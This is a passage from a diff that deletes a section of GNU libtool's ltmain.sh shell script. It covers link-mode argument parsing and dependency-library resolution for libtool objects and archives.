- if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
- dlfiles="$dlfiles $pic_object"
- prev=
- continue
- else
- # If libtool objects are unsupported, then we need to preload.
- prev=dlprefiles
- fi
- fi
-
- # CHECK ME: I think I busted this. -Ossama
- if test "$prev" = dlprefiles; then
- # Preload the old-style object.
- dlprefiles="$dlprefiles $pic_object"
- prev=
- fi
-
- # A PIC object.
- libobjs="$libobjs $pic_object"
- arg="$pic_object"
- fi
-
- # Non-PIC object.
- if test "$non_pic_object" != none; then
- # Prepend the subdirectory the object is found in.
- non_pic_object="$xdir$non_pic_object"
-
- # A standard non-PIC object
- non_pic_objects="$non_pic_objects $non_pic_object"
- if test -z "$pic_object" || test "$pic_object" = none ; then
- arg="$non_pic_object"
- fi
- else
- # If the PIC object exists, use it instead.
- # $xdir was prepended to $pic_object above.
- non_pic_object="$pic_object"
- non_pic_objects="$non_pic_objects $non_pic_object"
- fi
- else
- # Only an error if not doing a dry-run.
- if test -z "$run"; then
- $echo "$modename: \`$arg' is not a valid libtool object" 1>&2
- exit $EXIT_FAILURE
- else
- # Dry-run case.
-
- # Extract subdirectory from the argument.
- xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$xdir" = "X$arg"; then
- xdir=
- else
- xdir="$xdir/"
- fi
-
- pic_object=`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"`
- non_pic_object=`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"`
- libobjs="$libobjs $pic_object"
- non_pic_objects="$non_pic_objects $non_pic_object"
- fi
- fi
- done
- else
- $echo "$modename: link input file \`$save_arg' does not exist"
- exit $EXIT_FAILURE
- fi
- arg=$save_arg
- prev=
- continue
- ;;
- rpath | xrpath)
- # We need an absolute path.
- case $arg in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
- *)
- $echo "$modename: only absolute run-paths are allowed" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
- if test "$prev" = rpath; then
- case "$rpath " in
- *" $arg "*) ;;
- *) rpath="$rpath $arg" ;;
- esac
- else
- case "$xrpath " in
- *" $arg "*) ;;
- *) xrpath="$xrpath $arg" ;;
- esac
- fi
- prev=
- continue
- ;;
- xcompiler)
- compiler_flags="$compiler_flags $qarg"
- prev=
- compile_command="$compile_command $qarg"
- finalize_command="$finalize_command $qarg"
- continue
- ;;
- xlinker)
- linker_flags="$linker_flags $qarg"
- compiler_flags="$compiler_flags $wl$qarg"
- prev=
- compile_command="$compile_command $wl$qarg"
- finalize_command="$finalize_command $wl$qarg"
- continue
- ;;
- xcclinker)
- linker_flags="$linker_flags $qarg"
- compiler_flags="$compiler_flags $qarg"
- prev=
- compile_command="$compile_command $qarg"
- finalize_command="$finalize_command $qarg"
- continue
- ;;
- shrext)
- shrext_cmds="$arg"
- prev=
- continue
- ;;
- darwin_framework|darwin_framework_skip)
- test "$prev" = "darwin_framework" && compiler_flags="$compiler_flags $arg"
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- prev=
- continue
- ;;
- *)
- eval "$prev=\"\$arg\""
- prev=
- continue
- ;;
- esac
- fi # test -n "$prev"
-
- prevarg="$arg"
-
- case $arg in
- -all-static)
- if test -n "$link_static_flag"; then
- compile_command="$compile_command $link_static_flag"
- finalize_command="$finalize_command $link_static_flag"
- fi
- continue
- ;;
-
- -allow-undefined)
- # FIXME: remove this flag sometime in the future.
- $echo "$modename: \`-allow-undefined' is deprecated because it is the default" 1>&2
- continue
- ;;
-
- -avoid-version)
- avoid_version=yes
- continue
- ;;
-
- -dlopen)
- prev=dlfiles
- continue
- ;;
-
- -dlpreopen)
- prev=dlprefiles
- continue
- ;;
-
- -export-dynamic)
- export_dynamic=yes
- continue
- ;;
-
- -export-symbols | -export-symbols-regex)
- if test -n "$export_symbols" || test -n "$export_symbols_regex"; then
- $echo "$modename: more than one -exported-symbols argument is not allowed"
- exit $EXIT_FAILURE
- fi
- if test "X$arg" = "X-export-symbols"; then
- prev=expsyms
- else
- prev=expsyms_regex
- fi
- continue
- ;;
-
- -framework|-arch|-isysroot)
- case " $CC " in
- *" ${arg} ${1} "* | *" ${arg} ${1} "*)
- prev=darwin_framework_skip ;;
- *) compiler_flags="$compiler_flags $arg"
- prev=darwin_framework ;;
- esac
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- continue
- ;;
-
- -inst-prefix-dir)
- prev=inst_prefix
- continue
- ;;
-
- # The native IRIX linker understands -LANG:*, -LIST:* and -LNO:*
- # so, if we see these flags be careful not to treat them like -L
- -L[A-Z][A-Z]*:*)
- case $with_gcc/$host in
- no/*-*-irix* | /*-*-irix*)
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- ;;
- esac
- continue
- ;;
-
- -L*)
- dir=`$echo "X$arg" | $Xsed -e 's/^-L//'`
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
- *)
- absdir=`cd "$dir" && pwd`
- if test -z "$absdir"; then
- $echo "$modename: cannot determine absolute directory name of \`$dir'" 1>&2
- absdir="$dir"
- notinst_path="$notinst_path $dir"
- fi
- dir="$absdir"
- ;;
- esac
- case "$deplibs " in
- *" -L$dir "*) ;;
- *)
- deplibs="$deplibs -L$dir"
- lib_search_path="$lib_search_path $dir"
- ;;
- esac
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
- testbindir=`$echo "X$dir" | $Xsed -e 's*/lib$*/bin*'`
- case :$dllsearchpath: in
- *":$dir:"*) ;;
- *) dllsearchpath="$dllsearchpath:$dir";;
- esac
- case :$dllsearchpath: in
- *":$testbindir:"*) ;;
- *) dllsearchpath="$dllsearchpath:$testbindir";;
- esac
- ;;
- esac
- continue
- ;;
-
- -l*)
- if test "X$arg" = "X-lc" || test "X$arg" = "X-lm"; then
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-beos*)
- # These systems don't actually have a C or math library (as such)
- continue
- ;;
- *-*-os2*)
- # These systems don't actually have a C library (as such)
- test "X$arg" = "X-lc" && continue
- ;;
- *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*)
- # Do not include libc due to us having libc/libc_r.
- test "X$arg" = "X-lc" && continue
- ;;
- *-*-rhapsody* | *-*-darwin1.[012])
- # Rhapsody C and math libraries are in the System framework
- deplibs="$deplibs -framework System"
- continue
- ;;
- *-*-sco3.2v5* | *-*-sco5v6*)
- # Causes problems with __ctype
- test "X$arg" = "X-lc" && continue
- ;;
- *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*)
- # Compiler inserts libc in the correct place for threads to work
- test "X$arg" = "X-lc" && continue
- ;;
- esac
- elif test "X$arg" = "X-lc_r"; then
- case $host in
- *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*)
- # Do not include libc_r directly, use -pthread flag.
- continue
- ;;
- esac
- fi
- deplibs="$deplibs $arg"
- continue
- ;;
-
- # Tru64 UNIX uses -model [arg] to determine the layout of C++
- # classes, name mangling, and exception handling.
- -model)
- compile_command="$compile_command $arg"
- compiler_flags="$compiler_flags $arg"
- finalize_command="$finalize_command $arg"
- prev=xcompiler
- continue
- ;;
-
- -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe)
- compiler_flags="$compiler_flags $arg"
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- continue
- ;;
-
- -module)
- module=yes
- continue
- ;;
-
- # -64, -mips[0-9] enable 64-bit mode on the SGI compiler
- # -r[0-9][0-9]* specifies the processor on the SGI compiler
- # -xarch=*, -xtarget=* enable 64-bit mode on the Sun compiler
- # +DA*, +DD* enable 64-bit mode on the HP compiler
- # -q* pass through compiler args for the IBM compiler
- # -m* pass through architecture-specific compiler args for GCC
- # -m*, -t[45]*, -txscale* pass through architecture-specific
- # compiler args for GCC
- # -pg pass through profiling flag for GCC
- # @file GCC response files
- -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*|-pg| \
- -t[45]*|-txscale*|@*)
-
- # Unknown arguments in both finalize_command and compile_command need
- # to be aesthetically quoted because they are evaled later.
- arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- compiler_flags="$compiler_flags $arg"
- continue
- ;;
-
- -shrext)
- prev=shrext
- continue
- ;;
-
- -no-fast-install)
- fast_install=no
- continue
- ;;
-
- -no-install)
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
- # The PATH hackery in wrapper scripts is required on Windows
- # in order for the loader to find any dlls it needs.
- $echo "$modename: warning: \`-no-install' is ignored for $host" 1>&2
- $echo "$modename: warning: assuming \`-no-fast-install' instead" 1>&2
- fast_install=no
- ;;
- *) no_install=yes ;;
- esac
- continue
- ;;
-
- -no-undefined)
- allow_undefined=no
- continue
- ;;
-
- -objectlist)
- prev=objectlist
- continue
- ;;
-
- -o) prev=output ;;
-
- -precious-files-regex)
- prev=precious_regex
- continue
- ;;
-
- -release)
- prev=release
- continue
- ;;
-
- -rpath)
- prev=rpath
- continue
- ;;
-
- -R)
- prev=xrpath
- continue
- ;;
-
- -R*)
- dir=`$echo "X$arg" | $Xsed -e 's/^-R//'`
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
- *)
- $echo "$modename: only absolute run-paths are allowed" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
- case "$xrpath " in
- *" $dir "*) ;;
- *) xrpath="$xrpath $dir" ;;
- esac
- continue
- ;;
-
- -static)
- # The effects of -static are defined in a previous loop.
- # We used to do the same as -all-static on platforms that
- # didn't have a PIC flag, but the assumption that the effects
- # would be equivalent was wrong. It would break on at least
- # Digital Unix and AIX.
- continue
- ;;
-
- -thread-safe)
- thread_safe=yes
- continue
- ;;
-
- -version-info)
- prev=vinfo
- continue
- ;;
- -version-number)
- prev=vinfo
- vinfo_number=yes
- continue
- ;;
-
- -Wc,*)
- args=`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wc,//'`
- arg=
- save_ifs="$IFS"; IFS=','
- for flag in $args; do
- IFS="$save_ifs"
- case $flag in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- flag="\"$flag\""
- ;;
- esac
- arg="$arg $wl$flag"
- compiler_flags="$compiler_flags $flag"
- done
- IFS="$save_ifs"
- arg=`$echo "X$arg" | $Xsed -e "s/^ //"`
- ;;
-
- -Wl,*)
- args=`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wl,//'`
- arg=
- save_ifs="$IFS"; IFS=','
- for flag in $args; do
- IFS="$save_ifs"
- case $flag in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- flag="\"$flag\""
- ;;
- esac
- arg="$arg $wl$flag"
- compiler_flags="$compiler_flags $wl$flag"
- linker_flags="$linker_flags $flag"
- done
- IFS="$save_ifs"
- arg=`$echo "X$arg" | $Xsed -e "s/^ //"`
- ;;
-
- -Xcompiler)
- prev=xcompiler
- continue
- ;;
-
- -Xlinker)
- prev=xlinker
- continue
- ;;
-
- -XCClinker)
- prev=xcclinker
- continue
- ;;
-
- # Some other compiler flag.
- -* | +*)
- # Unknown arguments in both finalize_command and compile_command need
- # to be aesthetically quoted because they are evaled later.
- arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- ;;
-
- *.$objext)
- # A standard object.
- objs="$objs $arg"
- ;;
-
- *.lo)
- # A libtool-controlled object.
-
- # Check to see that this really is a libtool object.
- if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then
- pic_object=
- non_pic_object=
-
- # Read the .lo file
- # If there is no directory component, then add one.
- case $arg in
- */* | *\\*) . $arg ;;
- *) . ./$arg ;;
- esac
-
- if test -z "$pic_object" || \
- test -z "$non_pic_object" ||
- test "$pic_object" = none && \
- test "$non_pic_object" = none; then
- $echo "$modename: cannot find name of object for \`$arg'" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Extract subdirectory from the argument.
- xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$xdir" = "X$arg"; then
- xdir=
- else
- xdir="$xdir/"
- fi
-
- if test "$pic_object" != none; then
- # Prepend the subdirectory the object is found in.
- pic_object="$xdir$pic_object"
-
- if test "$prev" = dlfiles; then
- if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
- dlfiles="$dlfiles $pic_object"
- prev=
- continue
- else
- # If libtool objects are unsupported, then we need to preload.
- prev=dlprefiles
- fi
- fi
-
- # CHECK ME: I think I busted this. -Ossama
- if test "$prev" = dlprefiles; then
- # Preload the old-style object.
- dlprefiles="$dlprefiles $pic_object"
- prev=
- fi
-
- # A PIC object.
- libobjs="$libobjs $pic_object"
- arg="$pic_object"
- fi
-
- # Non-PIC object.
- if test "$non_pic_object" != none; then
- # Prepend the subdirectory the object is found in.
- non_pic_object="$xdir$non_pic_object"
-
- # A standard non-PIC object
- non_pic_objects="$non_pic_objects $non_pic_object"
- if test -z "$pic_object" || test "$pic_object" = none ; then
- arg="$non_pic_object"
- fi
- else
- # If the PIC object exists, use it instead.
- # $xdir was prepended to $pic_object above.
- non_pic_object="$pic_object"
- non_pic_objects="$non_pic_objects $non_pic_object"
- fi
- else
- # Only an error if not doing a dry-run.
- if test -z "$run"; then
- $echo "$modename: \`$arg' is not a valid libtool object" 1>&2
- exit $EXIT_FAILURE
- else
- # Dry-run case.
-
- # Extract subdirectory from the argument.
- xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$xdir" = "X$arg"; then
- xdir=
- else
- xdir="$xdir/"
- fi
-
- pic_object=`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"`
- non_pic_object=`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"`
- libobjs="$libobjs $pic_object"
- non_pic_objects="$non_pic_objects $non_pic_object"
- fi
- fi
- ;;
-
- *.$libext)
- # An archive.
- deplibs="$deplibs $arg"
- old_deplibs="$old_deplibs $arg"
- continue
- ;;
-
- *.la)
- # A libtool-controlled library.
-
- if test "$prev" = dlfiles; then
- # This library was specified with -dlopen.
- dlfiles="$dlfiles $arg"
- prev=
- elif test "$prev" = dlprefiles; then
- # The library was specified with -dlpreopen.
- dlprefiles="$dlprefiles $arg"
- prev=
- else
- deplibs="$deplibs $arg"
- fi
- continue
- ;;
-
- # Some other compiler argument.
- *)
- # Unknown arguments in both finalize_command and compile_command need
- # to be aesthetically quoted because they are evaled later.
- arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- ;;
- esac # arg
-
- # Now actually substitute the argument into the commands.
- if test -n "$arg"; then
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- fi
- done # argument parsing loop
-
- if test -n "$prev"; then
- $echo "$modename: the \`$prevarg' option requires an argument" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then
- eval arg=\"$export_dynamic_flag_spec\"
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- fi
-
- oldlibs=
- # calculate the name of the file, without its directory
- outputname=`$echo "X$output" | $Xsed -e 's%^.*/%%'`
- libobjs_save="$libobjs"
-
- if test -n "$shlibpath_var"; then
- # get the directories listed in $shlibpath_var
- eval shlib_search_path=\`\$echo \"X\${$shlibpath_var}\" \| \$Xsed -e \'s/:/ /g\'\`
- else
- shlib_search_path=
- fi
- eval sys_lib_search_path=\"$sys_lib_search_path_spec\"
- eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\"
-
- output_objdir=`$echo "X$output" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$output_objdir" = "X$output"; then
- output_objdir="$objdir"
- else
- output_objdir="$output_objdir/$objdir"
- fi
- # Create the object directory.
- if test ! -d "$output_objdir"; then
- $show "$mkdir $output_objdir"
- $run $mkdir $output_objdir
- exit_status=$?
- if test "$exit_status" -ne 0 && test ! -d "$output_objdir"; then
- exit $exit_status
- fi
- fi
-
- # Determine the type of output
- case $output in
- "")
- $echo "$modename: you must specify an output file" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- ;;
- *.$libext) linkmode=oldlib ;;
- *.lo | *.$objext) linkmode=obj ;;
- *.la) linkmode=lib ;;
- *) linkmode=prog ;; # Anything else should be a program.
- esac
-
- case $host in
- *cygwin* | *mingw* | *pw32*)
- # don't eliminate duplications in $postdeps and $predeps
- duplicate_compiler_generated_deps=yes
- ;;
- *)
- duplicate_compiler_generated_deps=$duplicate_deps
- ;;
- esac
- specialdeplibs=
-
- libs=
- # Find all interdependent deplibs by searching for libraries
- # that are linked more than once (e.g. -la -lb -la)
- for deplib in $deplibs; do
- if test "X$duplicate_deps" = "Xyes" ; then
- case "$libs " in
- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
- esac
- fi
- libs="$libs $deplib"
- done
-
- if test "$linkmode" = lib; then
- libs="$predeps $libs $compiler_lib_search_path $postdeps"
-
- # Compute libraries that are listed more than once in $predeps
- # $postdeps and mark them as special (i.e., whose duplicates are
- # not to be eliminated).
- pre_post_deps=
- if test "X$duplicate_compiler_generated_deps" = "Xyes" ; then
- for pre_post_dep in $predeps $postdeps; do
- case "$pre_post_deps " in
- *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;;
- esac
- pre_post_deps="$pre_post_deps $pre_post_dep"
- done
- fi
- pre_post_deps=
- fi
-
- deplibs=
- newdependency_libs=
- newlib_search_path=
- need_relink=no # whether we're linking any uninstalled libtool libraries
- notinst_deplibs= # not-installed libtool libraries
- case $linkmode in
- lib)
- passes="conv link"
- for file in $dlfiles $dlprefiles; do
- case $file in
- *.la) ;;
- *)
- $echo "$modename: libraries can \`-dlopen' only libtool libraries: $file" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
- done
- ;;
- prog)
- compile_deplibs=
- finalize_deplibs=
- alldeplibs=no
- newdlfiles=
- newdlprefiles=
- passes="conv scan dlopen dlpreopen link"
- ;;
- *) passes="conv"
- ;;
- esac
- for pass in $passes; do
- if test "$linkmode,$pass" = "lib,link" ||
- test "$linkmode,$pass" = "prog,scan"; then
- libs="$deplibs"
- deplibs=
- fi
- if test "$linkmode" = prog; then
- case $pass in
- dlopen) libs="$dlfiles" ;;
- dlpreopen) libs="$dlprefiles" ;;
- link) libs="$deplibs %DEPLIBS% $dependency_libs" ;;
- esac
- fi
- if test "$pass" = dlopen; then
- # Collect dlpreopened libraries
- save_deplibs="$deplibs"
- deplibs=
- fi
- for deplib in $libs; do
- lib=
- found=no
- case $deplib in
- -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe)
- if test "$linkmode,$pass" = "prog,link"; then
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
- compiler_flags="$compiler_flags $deplib"
- fi
- continue
- ;;
- -l*)
- if test "$linkmode" != lib && test "$linkmode" != prog; then
- $echo "$modename: warning: \`-l' is ignored for archives/objects" 1>&2
- continue
- fi
- name=`$echo "X$deplib" | $Xsed -e 's/^-l//'`
- for searchdir in $newlib_search_path $lib_search_path $sys_lib_search_path $shlib_search_path; do
- for search_ext in .la $std_shrext .so .a; do
- # Search the libtool library
- lib="$searchdir/lib${name}${search_ext}"
- if test -f "$lib"; then
- if test "$search_ext" = ".la"; then
- found=yes
- else
- found=no
- fi
- break 2
- fi
- done
- done
- if test "$found" != yes; then
- # deplib doesn't seem to be a libtool library
- if test "$linkmode,$pass" = "prog,link"; then
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
- deplibs="$deplib $deplibs"
- test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs"
- fi
- continue
- else # deplib is a libtool library
- # If $allow_libtool_libs_with_static_runtimes && $deplib is a stdlib,
- # We need to do some special things here, and not later.
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $deplib "*)
- if (${SED} -e '2q' $lib |
- grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then
- library_names=
- old_library=
- case $lib in
- */* | *\\*) . $lib ;;
- *) . ./$lib ;;
- esac
- for l in $old_library $library_names; do
- ll="$l"
- done
- if test "X$ll" = "X$old_library" ; then # only static version available
- found=no
- ladir=`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'`
- test "X$ladir" = "X$lib" && ladir="."
- lib=$ladir/$old_library
- if test "$linkmode,$pass" = "prog,link"; then
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
- deplibs="$deplib $deplibs"
- test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs"
- fi
- continue
- fi
- fi
- ;;
- *) ;;
- esac
- fi
- fi
- ;; # -l
- -L*)
- case $linkmode in
- lib)
- deplibs="$deplib $deplibs"
- test "$pass" = conv && continue
- newdependency_libs="$deplib $newdependency_libs"
- newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'`
- ;;
- prog)
- if test "$pass" = conv; then
- deplibs="$deplib $deplibs"
- continue
- fi
- if test "$pass" = scan; then
- deplibs="$deplib $deplibs"
- else
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- fi
- newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'`
- ;;
- *)
- $echo "$modename: warning: \`-L' is ignored for archives/objects" 1>&2
- ;;
- esac # linkmode
- continue
- ;; # -L
- -R*)
- if test "$pass" = link; then
- dir=`$echo "X$deplib" | $Xsed -e 's/^-R//'`
- # Make sure the xrpath contains only unique directories.
- case "$xrpath " in
- *" $dir "*) ;;
- *) xrpath="$xrpath $dir" ;;
- esac
- fi
- deplibs="$deplib $deplibs"
- continue
- ;;
- *.la) lib="$deplib" ;;
- *.$libext)
- if test "$pass" = conv; then
- deplibs="$deplib $deplibs"
- continue
- fi
- case $linkmode in
- lib)
- valid_a_lib=no
- case $deplibs_check_method in
- match_pattern*)
- set dummy $deplibs_check_method
- match_pattern_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"`
- if eval $echo \"$deplib\" 2>/dev/null \
- | $SED 10q \
- | $EGREP "$match_pattern_regex" > /dev/null; then
- valid_a_lib=yes
- fi
- ;;
- pass_all)
- valid_a_lib=yes
- ;;
- esac
- if test "$valid_a_lib" != yes; then
- $echo
- $echo "*** Warning: Trying to link with static lib archive $deplib."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which you do not appear to have"
- $echo "*** because the file extensions .$libext of this argument makes me believe"
- $echo "*** that it is just a static archive that I should not used here."
- else
- $echo
- $echo "*** Warning: Linking the shared library $output against the"
- $echo "*** static library $deplib is not portable!"
- deplibs="$deplib $deplibs"
- fi
- continue
- ;;
- prog)
- if test "$pass" != link; then
- deplibs="$deplib $deplibs"
- else
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- fi
- continue
- ;;
- esac # linkmode
- ;; # *.$libext
- *.lo | *.$objext)
- if test "$pass" = conv; then
- deplibs="$deplib $deplibs"
- elif test "$linkmode" = prog; then
- if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then
- # If there is no dlopen support or we're linking statically,
- # we need to preload.
- newdlprefiles="$newdlprefiles $deplib"
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
- newdlfiles="$newdlfiles $deplib"
- fi
- fi
- continue
- ;;
- %DEPLIBS%)
- alldeplibs=yes
- continue
- ;;
- esac # case $deplib
- if test "$found" = yes || test -f "$lib"; then :
- else
- $echo "$modename: cannot find the library \`$lib' or unhandled argument \`$deplib'" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Check to see that this really is a libtool archive.
- if (${SED} -e '2q' $lib | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then :
- else
- $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2
- exit $EXIT_FAILURE
- fi
-
- ladir=`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'`
- test "X$ladir" = "X$lib" && ladir="."
-
- dlname=
- dlopen=
- dlpreopen=
- libdir=
- library_names=
- old_library=
- # If the library was installed with an old release of libtool,
- # it will not redefine variables installed, or shouldnotlink
- installed=yes
- shouldnotlink=no
- avoidtemprpath=
-
-
- # Read the .la file
- case $lib in
- */* | *\\*) . $lib ;;
- *) . ./$lib ;;
- esac
-
- if test "$linkmode,$pass" = "lib,link" ||
- test "$linkmode,$pass" = "prog,scan" ||
- { test "$linkmode" != prog && test "$linkmode" != lib; }; then
- test -n "$dlopen" && dlfiles="$dlfiles $dlopen"
- test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen"
- fi
-
- if test "$pass" = conv; then
- # Only check for convenience libraries
- deplibs="$lib $deplibs"
- if test -z "$libdir"; then
- if test -z "$old_library"; then
- $echo "$modename: cannot find name of link library for \`$lib'" 1>&2
- exit $EXIT_FAILURE
- fi
- # It is a libtool convenience library, so add in its objects.
- convenience="$convenience $ladir/$objdir/$old_library"
- old_convenience="$old_convenience $ladir/$objdir/$old_library"
- tmp_libs=
- for deplib in $dependency_libs; do
- deplibs="$deplib $deplibs"
- if test "X$duplicate_deps" = "Xyes" ; then
- case "$tmp_libs " in
- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
- esac
- fi
- tmp_libs="$tmp_libs $deplib"
- done
- elif test "$linkmode" != prog && test "$linkmode" != lib; then
- $echo "$modename: \`$lib' is not a convenience library" 1>&2
- exit $EXIT_FAILURE
- fi
- continue
- fi # $pass = conv
-
-
- # Get the name of the library we link against.
- linklib=
- for l in $old_library $library_names; do
- linklib="$l"
- done
- if test -z "$linklib"; then
- $echo "$modename: cannot find name of link library for \`$lib'" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # This library was specified with -dlopen.
- if test "$pass" = dlopen; then
- if test -z "$libdir"; then
- $echo "$modename: cannot -dlopen a convenience library: \`$lib'" 1>&2
- exit $EXIT_FAILURE
- fi
- if test -z "$dlname" ||
- test "$dlopen_support" != yes ||
- test "$build_libtool_libs" = no; then
- # If there is no dlname, no dlopen support or we're linking
- # statically, we need to preload. We also need to preload any
- # dependent libraries so libltdl's deplib preloader doesn't
- # bomb out in the load deplibs phase.
- dlprefiles="$dlprefiles $lib $dependency_libs"
- else
- newdlfiles="$newdlfiles $lib"
- fi
- continue
- fi # $pass = dlopen
-
- # We need an absolute path.
- case $ladir in
- [\\/]* | [A-Za-z]:[\\/]*) abs_ladir="$ladir" ;;
- *)
- abs_ladir=`cd "$ladir" && pwd`
- if test -z "$abs_ladir"; then
- $echo "$modename: warning: cannot determine absolute directory name of \`$ladir'" 1>&2
- $echo "$modename: passing it literally to the linker, although it might fail" 1>&2
- abs_ladir="$ladir"
- fi
- ;;
- esac
- laname=`$echo "X$lib" | $Xsed -e 's%^.*/%%'`
-
- # Find the relevant object directory and library name.
- if test "X$installed" = Xyes; then
- if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
- $echo "$modename: warning: library \`$lib' was moved." 1>&2
- dir="$ladir"
- absdir="$abs_ladir"
- libdir="$abs_ladir"
- else
- dir="$libdir"
- absdir="$libdir"
- fi
- test "X$hardcode_automatic" = Xyes && avoidtemprpath=yes
- else
- if test ! -f "$ladir/$objdir/$linklib" && test -f "$abs_ladir/$linklib"; then
- dir="$ladir"
- absdir="$abs_ladir"
- # Remove this search path later
- notinst_path="$notinst_path $abs_ladir"
- else
- dir="$ladir/$objdir"
- absdir="$abs_ladir/$objdir"
- # Remove this search path later
- notinst_path="$notinst_path $abs_ladir"
- fi
- fi # $installed = yes
- name=`$echo "X$laname" | $Xsed -e 's/\.la$//' -e 's/^lib//'`
-
- # This library was specified with -dlpreopen.
- if test "$pass" = dlpreopen; then
- if test -z "$libdir"; then
- $echo "$modename: cannot -dlpreopen a convenience library: \`$lib'" 1>&2
- exit $EXIT_FAILURE
- fi
- # Prefer using a static library (so that no silly _DYNAMIC symbols
- # are required to link).
- if test -n "$old_library"; then
- newdlprefiles="$newdlprefiles $dir/$old_library"
- # Otherwise, use the dlname, so that lt_dlopen finds it.
- elif test -n "$dlname"; then
- newdlprefiles="$newdlprefiles $dir/$dlname"
- else
- newdlprefiles="$newdlprefiles $dir/$linklib"
- fi
- fi # $pass = dlpreopen
-
- if test -z "$libdir"; then
- # Link the convenience library
- if test "$linkmode" = lib; then
- deplibs="$dir/$old_library $deplibs"
- elif test "$linkmode,$pass" = "prog,link"; then
- compile_deplibs="$dir/$old_library $compile_deplibs"
- finalize_deplibs="$dir/$old_library $finalize_deplibs"
- else
- deplibs="$lib $deplibs" # used for prog,scan pass
- fi
- continue
- fi
-
-
- if test "$linkmode" = prog && test "$pass" != link; then
